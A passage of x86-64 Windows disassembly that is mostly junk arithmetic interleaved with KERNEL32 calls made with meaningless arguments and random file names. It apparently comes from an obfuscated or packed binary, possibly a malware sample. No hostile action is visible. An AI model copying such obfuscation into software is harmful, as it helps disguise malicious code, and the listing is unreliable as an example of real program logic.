mov rax, qword [rsp + 0x147a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d08], eax
mov rax, qword [rsp + 0x14138]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x142e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ef8], ax
movsx eax, byte [rsp + 0x6dd]
movsx ecx, byte [rsp + 0x67c]
sub eax, ecx
mov byte [rsp + 0x3f8], al
mov edx, 0x1ed1
mov rcx, qword [rsp + 0x14368]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xaf74], eax
movzx eax, word [rsp + 0x2e6c]
mov word [rsp + 0x2ff0], ax
mov rax, qword [rsp + 0x14d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14888]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14338]
mov byte [rcx], al
lea rax, [rsp + 0x9bac]
mov qword [rsp + 0x15210], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0x14a10]
mov rcx, qword [rsp + 0x147a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14028ec98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x89e4]
mov ecx, dword [rsp + 0x735c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5ac], eax
mov rax, qword [rsp + 0x14b30]
mov eax, dword [rax]
mov dword [rsp + 0xaf78], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14ac8], rax
mov eax, dword [rsp + 0xaa84]
mov ecx, dword [rsp + 0xa8e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaba4], eax
mov rax, qword [rsp + 0x14900]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x144b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6d5], al
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e6c]
sub eax, ecx
mov word [rsp + 0x15a8], ax
mov rax, qword [rsp + 0x15118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa530]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fec], eax
mov eax, dword [rsp + 0xa7a8]
mov dword [rsp + 0xaf7c], eax
mov eax, dword [rsp + 0xa740]
mov rcx, qword [rsp + 0x14140]
mov qword [rsp + 0x15218], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15218]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xad84], eax
lea rax, [rsp + 0xaa30]
mov qword [0x14028eb98], rax
movzx eax, byte [rsp + 0x3bd]
movzx ecx, byte [rsp + 0x6a0]
sar eax, cl
mov rcx, qword [rsp + 0x14878]
mov byte [rcx], al
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
mov word [rsp + 0x2ff4], ax
movsx eax, byte [rsp + 0x40b]
movsx ecx, byte [rsp + 0x553]
or eax, ecx
mov byte [rsp + 0x639], al
movsx eax, word [rsp + 0x2f58]
movsx ecx, word [rsp + 0x20b0]
xor eax, ecx
mov word [rsp + 0x156c], ax
mov eax, dword [rsp + 0x6834]
mov ecx, dword [rsp + 0xae0c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14238]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaccc]
mov ecx, dword [rsp + 0x7898]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa454], eax
mov rax, qword [0x14028ed60]
movzx eax, byte [rax]
mov byte [rsp + 0x74b], al
movzx eax, word [rsp + 0x2da0]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c5c], ax
mov rax, qword [rsp + 0x14ef8]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028ec10], eax
mov eax, dword [0x140282868]
mov dword [rsp + 0xaf80], eax
mov rax, qword [rsp + 0x14cc8]
mov ecx, dword [rsp + 0xabd0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8e0], eax
mov eax, dword [rsp + 0xab18]
mov ecx, dword [rsp + 0xa684]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b4c], eax
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e78]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d94], ax
movzx eax, byte [rsp + 0x675]
movzx ecx, byte [rsp + 0x718]
sub eax, ecx
mov byte [rsp + 0x45f], al
mov eax, dword [0x1402827f8]
mov dword [rsp + 0xaf84], eax
mov rax, qword [rsp + 0x15078]
mov rcx, qword [rsp + 0x14970]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaee0], eax
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov dword [rsp + 0xaf88], eax
mov eax, dword [0x1402828bc]
mov ecx, dword [rsp + 0x7888]
add ecx, eax
mov eax, ecx
mov dword [0x14028edc0], eax
mov eax, dword [rsp + 0xad84]
mov rcx, qword [rsp + 0x14820]
mov qword [rsp + 0x15220], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15220]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa84c], eax
mov rax, qword [rsp + 0x15150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x145e8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2f24], ax
movsx eax, byte [rsp + 0x35e]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6f], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movzx eax, byte [rsp + 0x1aa]
movzx ecx, byte [rsp + 0x6f6]
xor eax, ecx
mov byte [rsp + 0x5d1], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa2dc], eax
mov rax, qword [rsp + 0x15148]
movzx eax, word [rax]
mov word [rsp + 0x2ff8], ax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x141c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f98]
mov rcx, qword [rsp + 0x14838]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x718]
mov byte [rsp + 0x74c], al
mov rax, qword [rsp + 0x14bf8]
movzx eax, word [rax]
mov word [0x14028eb92], ax
mov rax, qword [rsp + 0x14ef8]
mov rcx, qword [rsp + 0x14248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa72c], eax
lea rax, [rsp + 0xa480]
mov qword [rsp + 0x15228], rax
mov rax, qword [0x14028ed40]
mov rcx, qword [rsp + 0x15228]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaf10], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa990], eax
lea rax, [rsp + 0x309]
mov qword [rsp + 0x15230], rax
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1840]
add eax, ecx
mov rcx, qword [rsp + 0x14100]
mov word [rcx], ax
mov eax, dword [rsp + 0x75e0]
mov dword [rsp + 0xaf8c], eax
mov rax, qword [rsp + 0x147a8]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad10], eax
movsx eax, word [0x14028eba0]
mov rcx, qword [rsp + 0x14360]
movsx ecx, word [rcx]
imul eax, ecx
mov word [0x1402827d0], ax
mov rax, qword [rsp + 0x14968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6af]
and eax, ecx
mov byte [rsp + 0x43c], al
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2eb4], ax
movzx eax, byte [rsp + 0x6ec]
movzx ecx, byte [rsp + 0x691]
xor eax, ecx
mov rcx, qword [rsp + 0x14e40]
mov byte [rcx], al
lea rax, [rsp + 0xaaac]
mov qword [rsp + 0x15238], rax
mov rax, qword [0x14028eda8]
mov rcx, qword [rsp + 0x151e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xab98], eax
mov rax, qword [rsp + 0x149c0]
mov eax, dword [rax]
mov dword [rsp + 0xaf90], eax
mov rax, qword [rsp + 0x14630]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa724]
sar eax, cl
mov rcx, qword [rsp + 0x14988]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaa10]
mov rcx, qword [rsp + 0x14b78]
mov qword [rsp + 0x15240], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15240]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaa54], eax
movzx eax, byte [rsp + 0x6b3]
mov byte [rsp + 0x74d], al
movzx eax, word [rsp + 0x2dc0]
mov rcx, qword [rsp + 0x151a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402828dc], ax
mov eax, dword [rsp + 0xa594]
mov ecx, dword [rsp + 0xaa1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9374], eax
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa184], eax
mov eax, dword [rsp + 0xa94c]
mov ecx, dword [rsp + 0x6f90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x76d8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.gH5rkqkr3odqrpFBlivriYwK7LSm9z4u9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15248], rax
mov rax, qword [rsp + 0x15030]
mov ecx, dword [rsp + 0xaa94]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad80], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov word [rsp + 0x2ffc], ax
mov rax, qword [rsp + 0x15088]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15190]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x141a0]
mov byte [rcx], al
lea rdx, [rsp + 0xa538]
mov rcx, qword [rsp + 0x14848]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa8cc], eax
mov rax, qword [rsp + 0x14d00]
movzx eax, word [rax]
mov word [rsp + 0x3000], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.bfUyujPdUuEJd1DUBRcIGIT9t7AT1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15250], rax
movsx eax, byte [rsp + 0x6dd]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x145f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x6554]
mov ecx, dword [rsp + 0xaf18]
sub ecx, eax
mov eax, ecx
mov dword [0x1402828e0], eax
mov eax, dword [rsp + 0xa470]
mov ecx, dword [rsp + 0xae68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7508], eax
mov rax, qword [rsp + 0x14470]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ee08]
and eax, ecx
mov byte [rsp + 0x64d], al
mov rax, qword [rsp + 0x14990]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14bf8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b60], ax
mov eax, dword [rsp + 0x71a4]
mov dword [rsp + 0xaf94], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa748], eax
mov eax, dword [rsp + 0x7684]
mov ecx, dword [0x14028ebc0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa744], eax
lea rax, [rsp + 0xa5b8]
mov qword [rsp + 0x15258], rax
mov rax, qword [rsp + 0x147c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14ca8]
mov qword [rsp + 0x15260], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15260]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xade8], eax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e3c]
or eax, ecx
mov word [rsp + 0x2eac], ax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5bc]
add eax, ecx
mov byte [0x140281e4f], al
mov eax, dword [rsp + 0xaa34]
mov dword [rsp + 0xaf98], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14e88], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xaa60], eax
mov rax, qword [rsp + 0x14630]
mov eax, dword [rax]
mov ecx, dword [0x14028ee04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xadd4], eax
mov rax, qword [rsp + 0x14d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7648], eax
mov rax, qword [rsp + 0x14de0]
mov rcx, qword [0x14028ed40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xadf0], eax
mov eax, dword [rsp + 0xac80]
mov ecx, dword [rsp + 0x96d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac94], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.SDKom
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15268], rax
movzx eax, word [rsp + 0x2b5c]
mov word [rsp + 0x3004], ax
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x494], al
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov word [rsp + 0x3008], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov byte [0x14028eb90], al
mov rax, qword [rsp + 0x14b30]
mov ecx, dword [0x14028ed34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac1c], eax
mov rax, qword [rsp + 0x14df0]
mov rcx, qword [rsp + 0x14f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa4c], eax
movzx eax, word [rsp + 0x2e84]
mov word [rsp + 0x300c], ax
movzx eax, byte [rsp + 0x690]
mov rcx, qword [0x14028ecd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70a], al
mov rax, qword [rsp + 0x15078]
mov ecx, dword [rsp + 0xa38c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a28], eax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8fbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4a0], eax
mov rax, qword [0x14028ec98]
mov eax, dword [rax]
mov dword [rsp + 0xaf9c], eax
mov eax, dword [rsp + 0x8610]
mov ecx, dword [rsp + 0xaafc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5b8], eax
movzx eax, word [rsp + 0x13f8]
movzx ecx, word [0x14028ebe8]
shl eax, cl
mov word [0x140282894], ax
movzx eax, byte [rsp + 0x74a]
mov rcx, qword [rsp + 0x15230]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x699], al
mov eax, dword [rsp + 0xa788]
mov dword [rsp + 0xafa0], eax
mov rax, qword [0x14028ecc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa708]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ff8]
mov dword [rcx], eax
lea rax, [rsp + 0x2d88]
mov qword [rsp + 0x15270], rax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6e4], al
movzx eax, byte [rsp + 0x394]
mov rcx, qword [0x14028eca8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x60f], al
movzx eax, word [rsp + 0x1860]
mov rcx, qword [rsp + 0x14a78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x265c], ax
mov rax, qword [rsp + 0x14be0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6edc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa3b8]
mov ecx, dword [0x140282730]
sub ecx, eax
mov eax, ecx
mov dword [0x1402828a4], eax
mov eax, dword [rsp + 0xa680]
mov dword [rsp + 0xafa4], eax
mov rax, qword [rsp + 0x14b10]
mov rcx, qword [rsp + 0x15030]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x142b8]
mov dword [rcx], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x14f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaf54], eax
lea rax, [rsp + 0x712]
mov qword [rsp + 0x15278], rax
movzx eax, word [rsp + 0x2efc]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c9c], ax
mov rax, qword [rsp + 0x15098]
mov eax, dword [rax]
mov dword [rsp + 0xafa8], eax
mov eax, dword [rsp + 0xaa50]
mov ecx, dword [rsp + 0xae44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x976c], eax
mov eax, dword [0x14028ecec]
movzx ecx, al
mov eax, dword [rsp + 0xa83c]
shl eax, cl
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
lea rax, [rsp + 0x69a4]
mov qword [0x14028eb88], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x148e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1590]
xor eax, ecx
mov word [rsp + 0x29f0], ax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73e]
or eax, ecx
mov rcx, qword [rsp + 0x14338]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xae90], eax
movzx eax, word [rsp + 0x2708]
mov word [rsp + 0x3010], ax
movsx eax, byte [rsp + 0x619]
movsx ecx, byte [rsp + 0x64f]
sar eax, cl
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov dword [rsp + 0xafac], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14490]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad64], eax
movzx eax, byte [rsp + 0x650]
mov rcx, qword [rsp + 0x14c88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x151f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2ef0]
movzx ecx, word [rsp + 0x1cc0]
add eax, ecx
mov word [rsp + 0x1c68], ax
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x14b50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028edc4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [0x14028edd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaca0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov dword [rsp + 0xafb0], eax
mov rax, qword [rsp + 0x14d50]
mov rcx, qword [rsp + 0x14378]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaacc], eax
mov rax, qword [rsp + 0x14888]
movzx eax, byte [rax]
movzx ecx, byte [0x140281dba]
add eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov word [rsp + 0x3014], ax
lea rdx, [rsp + 0xaf4c]
mov rcx, qword [rsp + 0x142a8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xafb4], eax
mov eax, dword [rsp + 0x96d4]
mov ecx, dword [rsp + 0xab68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14fc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14fc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8694]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9fd8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa830], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dbc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d94], eax
mov eax, dword [0x140282758]
movzx ecx, al
mov eax, dword [rsp + 0xa3ac]
shl eax, cl
mov dword [0x1402828e4], eax
mov rax, qword [rsp + 0x148f8]
mov ecx, dword [rsp + 0xabb8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaf30], eax
movzx eax, word [rsp + 0x2fe8]
mov word [rsp + 0x3018], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14d70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x64a], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14b60], rax
lea rax, [rsp + 0x1ccc]
mov qword [rsp + 0x15280], rax
mov rax, qword [rsp + 0x14810]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14548]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6c1], al
mov eax, dword [rsp + 0x6ad8]
mov dword [rsp + 0xafb8], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xab74], eax
mov eax, dword [rsp + 0x6f08]
mov ecx, dword [rsp + 0x86c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa678], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x60f], al
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
movzx ecx, word [0x1402828b0]
add eax, ecx
mov word [0x1402828e8], ax
mov rax, qword [rsp + 0x14f68]
mov eax, dword [rax]
mov dword [rsp + 0xafbc], eax
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa560]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x985c], eax
mov eax, dword [rsp + 0xaa70]
mov ecx, dword [rsp + 0x9108]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x99a8], eax
mov rax, qword [rsp + 0x14608]
mov ecx, dword [rsp + 0xa63c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa518], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x727]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x719], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x4549
mov rcx, qword [rsp + 0x14938]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa8cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea rax, [rsp + 0x1960]
mov qword [rsp + 0x15288], rax
mov eax, dword [rsp + 0xa310]
mov ecx, dword [rsp + 0xa598]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa828], eax
lea rax, [rsp + 0xa6e4]
mov qword [rsp + 0x15290], rax
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x621]
sub eax, ecx
mov byte [0x140281e86], al
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c28]
sub eax, ecx
mov word [rsp + 0x2e28], ax
movzx eax, byte [rsp + 0x6b9]
movzx ecx, byte [rsp + 0x662]
xor eax, ecx
mov byte [rsp + 0x114], al
movzx eax, word [rsp + 0x2bf0]
mov word [rsp + 0x301c], ax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x14560]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaed4], eax
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov dword [rsp + 0xafc0], eax
lea rcx, [rsp + 0x226c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x9838]
mov rcx, qword [rsp + 0x14d58]
mov qword [rsp + 0x15298], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15298]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa498], eax
mov eax, dword [rsp + 0x8e48]
movzx ecx, al
mov eax, dword [rsp + 0xaca8]
shl eax, cl
mov dword [rsp + 0xa958], eax
lea rcx, str.Q1DnJ_FZ1.Aoq2Mp7Y
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e98], ax
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x14ff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9c60], eax
mov rcx, qword [rsp + 0x149b0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa8fc], eax
mov rax, qword [rsp + 0x14c90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e5c]
add eax, ecx
mov word [rsp + 0x2d48], ax
movzx eax, byte [rsp + 0x3d7]
mov byte [0x14028eb80], al
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov dword [rsp + 0xafc4], eax
mov rax, qword [rsp + 0x15090]
mov rcx, qword [rsp + 0x148f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68c8], eax
mov rax, qword [rsp + 0x151e0]
mov eax, dword [rax]
mov dword [rsp + 0xafc8], eax
mov rax, qword [rsp + 0x141c8]
mov rcx, qword [0x14028ecc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad6c], eax
mov rax, qword [rsp + 0x14e60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f5c]
add eax, ecx
mov word [rsp + 0x1c00], ax
movzx eax, byte [rsp + 0x703]
mov rcx, qword [rsp + 0x147c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x219], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea rcx, [rsp + 0x21b58]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx eax, byte [rsp + 0x69a]
movsx ecx, byte [rsp + 0x735]
sub eax, ecx
mov rcx, qword [rsp + 0x14c68]
mov byte [rcx], al
mov edx, 0x689bcd
mov rcx, qword [rsp + 0x14bf0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xaf64], eax
movzx eax, word [rsp + 0x2eb8]
mov word [rsp + 0x3020], ax
mov eax, dword [0x14028ed30]
mov ecx, dword [rsp + 0xa788]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ee38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c18]
mov ecx, dword [rsp + 0xaadc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xabc4], eax
movzx eax, word [rsp + 0x2d8c]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c1c], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov byte [rsp + 0x74e], al
mov eax, dword [rsp + 0xaaf4]
mov ecx, dword [rsp + 0x8b90]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5f8], eax
mov eax, dword [rsp + 0xa568]
movzx ecx, al
mov eax, dword [rsp + 0xa794]
shr eax, cl
mov dword [rsp + 0x85bc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x15078]
mov eax, dword [rax]
mov rcx, qword [0x14028ec88]
mov qword [rsp + 0x152a0], rcx
movzx ecx, al
